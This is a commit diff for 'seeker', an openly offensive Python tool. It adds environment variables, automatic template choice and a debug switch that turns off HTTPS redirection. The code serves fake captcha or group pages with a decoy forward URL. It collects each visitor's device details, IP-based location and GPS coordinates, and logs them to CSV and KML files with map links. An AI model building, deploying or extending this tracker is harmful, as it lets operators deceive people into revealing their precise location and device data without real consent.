Skip to content

Commit d0e9c83

Browse files
committed
Adding of env variables support, launch in background to ease container deployment...
1 parent b21f28c commit d0e9c83

9 files changed

+263
-75
lines changed

README.md

+27
Original file line numberDiff line numberDiff line change
@@ -145,6 +145,30 @@ options:
145145
-p PORT, --port PORT Web server port [ Default : 8080 ]
146146
-u, --update Check for updates
147147
-v, --version Prints version
148+
-t, --template Auto choose the template with the given index
149+
-d, --debugHTTP Disable auto http --> https redirection for testing purposes (only works for the templates having index_temp.html file)
150+
151+
#########################
152+
# Environment Variables #
153+
#########################
154+
155+
Some of the options above can also be enabled via environment variables, to ease deployment.
156+
Other parameters can be provided via environment variables to avoid interactive mode.
157+
158+
Variables:
159+
DEBUG_HTTP Same as -d, --debugHTTP
160+
PORT Same as -p, --port
161+
TEMPLATE Same as -t, --template
162+
TITLE Provide the group title or the page title
163+
REDIRECT Provide the URL to redirect the user to, after the job is done
164+
IMAGE Provide the image to use, can either be remote (http or https) or local
165+
Note : Remote image will be downloaded locally during the startup
166+
DESC Provide the description of the item (group or webpage depending on the template)
167+
SITENAME Provide the name of the website
168+
DISPLAY_URL Provide the URL to display on the page
169+
MEM_NUM Provide the number of group membres (Telegram so far)
170+
ONLINE_NUM Provide the number of the group online members (Telegram so far)
171+
148172

149173
##################
150174
# Usage Examples #
@@ -167,6 +191,9 @@ $ python3 seeker.py -k <filename>
167191
$ python3 seeker.py -p 1337
168192
$ ./ngrok http 1337
169193

194+
# Pre-select a specific template
195+
$ python3 seeker.py -t 1
196+
170197
################
171198
# Docker Usage #
172199
################

seeker.py

+54-37
Original file line numberDiff line numberDiff line change
@@ -12,21 +12,32 @@
1212
import argparse
1313
import requests
1414
import traceback
15-
from os import path, kill, mkdir
15+
from os import path, kill, mkdir, getenv, environ
1616
from json import loads, decoder
1717
from packaging import version
18+
import utils
1819

1920
parser = argparse.ArgumentParser()
2021
parser.add_argument('-k', '--kml', help='KML filename')
2122
parser.add_argument('-p', '--port', type=int, default=8080, help='Web server port [ Default : 8080 ]')
2223
parser.add_argument('-u', '--update', action='store_true', help='Check for updates')
2324
parser.add_argument('-v', '--version', action='store_true', help='Prints version')
25+
parser.add_argument('-t', '--template', type=int, help='Load template and loads parameters from env variables')
26+
parser.add_argument('-d', '--debugHTTP', type=bool, default = False, help='Disable HTTPS redirection for testing only')
27+
2428

2529
args = parser.parse_args()
2630
kml_fname = args.kml
27-
port = args.port
31+
port = getenv("PORT") or args.port
2832
chk_upd = args.update
2933
print_v = args.version
34+
if (getenv("DEBUG_HTTP") and (getenv("DEBUG_HTTP") == "1" or getenv("DEBUG_HTTP").lower() == "true")) or args.debugHTTP == True:
35+
environ["DEBUG_HTTP"] = "1"
36+
else:
37+
environ["DEBUG_HTTP"] = "0"
38+
39+
templateNum = int(getenv("TEMPLATE")) if getenv("TEMPLATE") and getenv("TEMPLATE").isnumeric() else args.template
40+
3041

3142
path_to_script = path.dirname(path.realpath(__file__))
3243

@@ -51,7 +62,7 @@
5162

5263
def chk_update():
5364
try:
54-
print('> Fetching Metadata...', end='', flush=True)
65+
print('> Fetching Metadata...', end='')
5566
rqst = requests.get(META_URL, timeout=5)
5667
meta_sc = rqst.status_code
5768
if meta_sc == 200:
@@ -64,15 +75,15 @@ def chk_update():
6475
else:
6576
print('> Already up to date.')
6677
except Exception as exc:
67-
print(f'Exception : {str(exc)}')
78+
utils.print(f'Exception : {str(exc)}')
6879

6980

7081
if chk_upd is True:
7182
chk_update()
7283
sys.exit()
7384

7485
if print_v is True:
75-
print(VERSION)
86+
utils.print(VERSION)
7687
sys.exit()
7788

7889
import importlib
@@ -96,15 +107,15 @@ def banner():
96107
\___ \ \ ___/\ ___/ | < \ ___/ | | \/
97108
/____ > \___ >\___ >|__|_ \ \___ >|__|
98109
\/ \/ \/ \/ \/'''
99-
print(f'{G}{art}{W}\n')
100-
print(f'{G}[>] {C}Created By : {W}thewhiteh4t')
101-
print(f'{G} |---> {C}Twitter : {W}{twitter_url}')
102-
print(f'{G} |---> {C}Community : {W}{comms_url}')
103-
print(f'{G}[>] {C}Version : {W}{VERSION}\n')
110+
utils.print(f'{G}{art}{W}\n')
111+
utils.print(f'{G}[>] {C}Created By : {W}thewhiteh4t')
112+
utils.print(f'{G} |---> {C}Twitter : {W}{twitter_url}')
113+
utils.print(f'{G} |---> {C}Community : {W}{comms_url}')
114+
utils.print(f'{G}[>] {C}Version : {W}{VERSION}\n')
104115

105116

106117
def template_select(site):
107-
print(f'{Y}[!] Select a Template :{W}\n')
118+
utils.print(f'{Y}[!] Select a Template :{W}\n')
108119

109120
with open(TEMPLATES_JSON, 'r') as templ:
110121
templ_info = templ.read()
@@ -113,28 +124,34 @@ def template_select(site):
113124

114125
for item in templ_json['templates']:
115126
name = item['name']
116-
print(f'{G}[{templ_json["templates"].index(item)}] {C}{name}{W}')
127+
utils.print(f'{G}[{templ_json["templates"].index(item)}] {C}{name}{W}')
117128

118129
try:
119-
selected = int(input(f'{G}[>] {W}'))
130+
selected = -1
131+
if templateNum is not None:
132+
if templateNum >= 0 and templateNum < len(templ_json['templates']):
133+
selected = templateNum
134+
utils.print(f'{G}[+] {C}Template choosen :{W} {templateNum} : '+templ_json['templates'][templateNum]["name"])
135+
else:
136+
selected = int(input(f'{G}[>] {W}'))
120137
if selected < 0:
121138
print()
122-
print(f'{R}[-] {C}Invalid Input!{W}')
139+
utils.print(f'{R}[-] {C}Invalid Input!{W}')
123140
sys.exit()
124141
except ValueError:
125142
print()
126-
print(f'{R}[-] {C}Invalid Input!{W}')
143+
utils.print(f'{R}[-] {C}Invalid Input!{W}')
127144
sys.exit()
128145

129146
try:
130147
site = templ_json['templates'][selected]['dir_name']
131148
except IndexError:
132149
print()
133-
print(f'{R}[-] {C}Invalid Input!{W}')
150+
utils.print(f'{R}[-] {C}Invalid Input!{W}')
134151
sys.exit()
135152

136153
print()
137-
print(f'{G}[+] {C}Loading {Y}{templ_json["templates"][selected]["name"]} {C}Template...{W}')
154+
utils.print(f'{G}[+] {C}Loading {Y}{templ_json["templates"][selected]["name"]} {C}Template...{W}')
138155

139156
module = templ_json['templates'][selected]['module']
140157
if module is True:
@@ -148,8 +165,8 @@ def template_select(site):
148165
def server():
149166
print()
150167
preoc = False
151-
print(f'{G}[+] {C}Port : {W}{port}\n')
152-
print(f'{G}[+] {C}Starting PHP Server...{W}', end='', flush=True)
168+
utils.print(f'{G}[+] {C}Port : {W}{port}\n')
169+
utils.print(f'{G}[+] {C}Starting PHP Server...{W}', end='')
153170
cmd = ['php', '-S', f'0.0.0.0:{port}', '-t', f'template/{SITE}/']
154171

155172
with open(LOG_FILE, 'w+') as phplog:
@@ -163,17 +180,17 @@ def server():
163180
php_sc = php_rqst.status_code
164181
if php_sc == 200:
165182
if preoc:
166-
print(f'{C}[ {G}{C} ]{W}')
167-
print(f'{Y}[!] Server is already running!{W}')
183+
utils.print(f'{C}[ {G}{C} ]{W}')
184+
utils.print(f'{Y}[!] Server is already running!{W}')
168185
print()
169186
else:
170-
print(f'{C}[ {G}{C} ]{W}')
187+
utils.print(f'{C}[ {G}{C} ]{W}')
171188
print()
172189
else:
173-
print(f'{C}[ {R}Status : {php_sc}{C} ]{W}')
190+
utils.print(f'{C}[ {R}Status : {php_sc}{C} ]{W}')
174191
cl_quit(proc)
175192
except requests.ConnectionError:
176-
print(f'{C}[ {R}{C} ]{W}')
193+
utils.print(f'{C}[ {R}{C} ]{W}')
177194
cl_quit(proc)
178195
return proc
179196

@@ -184,7 +201,7 @@ def wait():
184201
sleep(2)
185202
size = path.getsize(RESULT)
186203
if size == 0 and printed is False:
187-
print(f'{G}[+] {C}Waiting for Client...{Y}[ctrl+c to exit]{W}\n')
204+
utils.print(f'{G}[+] {C}Waiting for Client...{Y}[ctrl+c to exit]{W}\n')
188205
printed = True
189206
if size > 0:
190207
data_parser()
@@ -198,7 +215,7 @@ def data_parser():
198215
try:
199216
info_json = loads(info_file)
200217
except decoder.JSONDecodeError:
201-
print(f'{R}[-] {C}Exception : {R}{traceback.format_exc()}{W}')
218+
utils.print(f'{R}[-] {C}Exception : {R}{traceback.format_exc()}{W}')
202219
else:
203220
var_os = info_json['os']
204221
var_platform = info_json['platform']
@@ -212,7 +229,7 @@ def data_parser():
212229

213230
data_row.extend([var_os, var_platform, var_cores, var_ram, var_vendor, var_render, var_res, var_browser, var_ip])
214231

215-
print(f'''{Y}[!] Device Information :{W}
232+
utils.print(f'''{Y}[!] Device Information :{W}
216233
217234
{G}[+] {C}OS : {W}{var_os}
218235
{G}[+] {C}Platform : {W}{var_platform}
@@ -226,7 +243,7 @@ def data_parser():
226243
''')
227244

228245
if ip_address(var_ip).is_private:
229-
print(f'{Y}[!] Skipping IP recon because IP address is private{W}')
246+
utils.print(f'{Y}[!] Skipping IP recon because IP address is private{W}')
230247
else:
231248
rqst = requests.get(f'https://ipwhois.app/json/{var_ip}')
232249
s_code = rqst.status_code
@@ -243,7 +260,7 @@ def data_parser():
243260

244261
data_row.extend([var_continent, var_country, var_region, var_city, var_org, var_isp])
245262

246-
print(f'''{Y}[!] IP Information :{W}
263+
utils.print(f'''{Y}[!] IP Information :{W}
247264
248265
{G}[+] {C}Continent : {W}{var_continent}
249266
{G}[+] {C}Country : {W}{var_country}
@@ -258,7 +275,7 @@ def data_parser():
258275
try:
259276
result_json = loads(results)
260277
except decoder.JSONDecodeError:
261-
print(f'{R}[-] {C}Exception : {R}{traceback.format_exc()}{W}')
278+
utils.print(f'{R}[-] {C}Exception : {R}{traceback.format_exc()}{W}')
262279
else:
263280
status = result_json['status']
264281
if status == 'success':
@@ -271,7 +288,7 @@ def data_parser():
271288

272289
data_row.extend([var_lat, var_lon, var_acc, var_alt, var_dir, var_spd])
273290

274-
print(f'''{Y}[!] Location Information :{W}
291+
utils.print(f'''{Y}[!] Location Information :{W}
275292
276293
{G}[+] {C}Latitude : {W}{var_lat}
277294
{G}[+] {C}Longitude : {W}{var_lon}
@@ -281,13 +298,13 @@ def data_parser():
281298
{G}[+] {C}Speed : {W}{var_spd}
282299
''')
283300

284-
print(f'{G}[+] {C}Google Maps : {W}https://www.google.com/maps/place/{var_lat.strip(" deg")}+{var_lon.strip(" deg")}')
301+
utils.print(f'{G}[+] {C}Google Maps : {W}https://www.google.com/maps/place/{var_lat.strip(" deg")}+{var_lon.strip(" deg")}')
285302

286303
if kml_fname is not None:
287304
kmlout(var_lat, var_lon)
288305
else:
289306
var_err = result_json['error']
290-
print(f'{R}[-] {C}{var_err}\n')
307+
utils.print(f'{R}[-] {C}{var_err}\n')
291308

292309
csvout(data_row)
293310
clear()
@@ -304,15 +321,15 @@ def kmlout(var_lat, var_lon):
304321
with open(f'{path_to_script}/{kml_fname}.kml', 'w') as kml_gen:
305322
kml_gen.write(kml_sample_data)
306323

307-
print(f'{Y}[!] KML File Generated!{W}')
308-
print(f'{G}[+] {C}Path : {W}{path_to_script}/{kml_fname}.kml')
324+
utils.print(f'{Y}[!] KML File Generated!{W}')
325+
utils.print(f'{G}[+] {C}Path : {W}{path_to_script}/{kml_fname}.kml')
309326

310327

311328
def csvout(row):
312329
with open(DATA_FILE, 'a') as csvfile:
313330
csvwriter = writer(csvfile)
314331
csvwriter.writerow(row)
315-
print(f'{G}[+] {C}Data Saved : {W}{path_to_script}/db/results.csv\n')
332+
utils.print(f'{G}[+] {C}Data Saved : {W}{path_to_script}/db/results.csv\n')
316333

317334

318335
def clear():
@@ -342,7 +359,7 @@ def cl_quit(proc):
342359
wait()
343360
data_parser()
344361
except KeyboardInterrupt:
345-
print(f'{R}[-] {C}Keyboard Interrupt.{W}')
362+
utils.print(f'{R}[-] {C}Keyboard Interrupt.{W}')
346363
cl_quit(SERVER_PROC)
347364
else:
348365
repeat()

template/mod_captcha.py

+16-2
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,24 @@
11
#!/usr/bin/env python3
2+
import os
3+
import utils
24

35
R = '\033[31m' # red
46
G = '\033[32m' # green
57
C = '\033[36m' # cyan
68
W = '\033[0m' # white
79

8-
real_forward = input(f'{G}[+] {C}Enter Real Forward URL :{W} ')
9-
fake_forward = input(f'{G}[+] {C}Enter Fake Forward URL :{W} ')
10+
real_forward = os.getenv('REDIRECT')
11+
fake_forward = os.getenv('DISPLAY_URL')
12+
13+
if real_forward is None:
14+
real_forward = input(f'{G}[+] {C}Enter Real Forward URL :{W} ')
15+
else:
16+
utils.print(f'{G}[+] {C}Real Forward URL :{W} '+real_forward)
17+
18+
if fake_forward is None:
19+
fake_forward = input(f'{G}[+] {C}Enter Fake Forward URL :{W} ')
20+
else:
21+
utils.print(f'{G}[+] {C}Fake Forward URL :{W} '+fake_forward)
1022

1123
with open('template/captcha/js/location_temp.js', 'r') as location_temp:
1224
js_file = location_temp.read()
@@ -17,6 +29,8 @@
1729

1830
with open('template/captcha/index_temp.html', 'r') as temp_index:
1931
temp_index_data = temp_index.read()
32+
if os.getenv("DEBUG_HTTP"):
33+
temp_index_data = temp_index_data.replace('window.location = "https:" + restOfUrl;', '')
2034
upd_temp_index_raw = temp_index_data.replace('FAKE_REDIRECT_URL', fake_forward)
2135

2236
with open('template/captcha/index.html', 'w') as updated_index:

0 commit comments

Comments
 (0)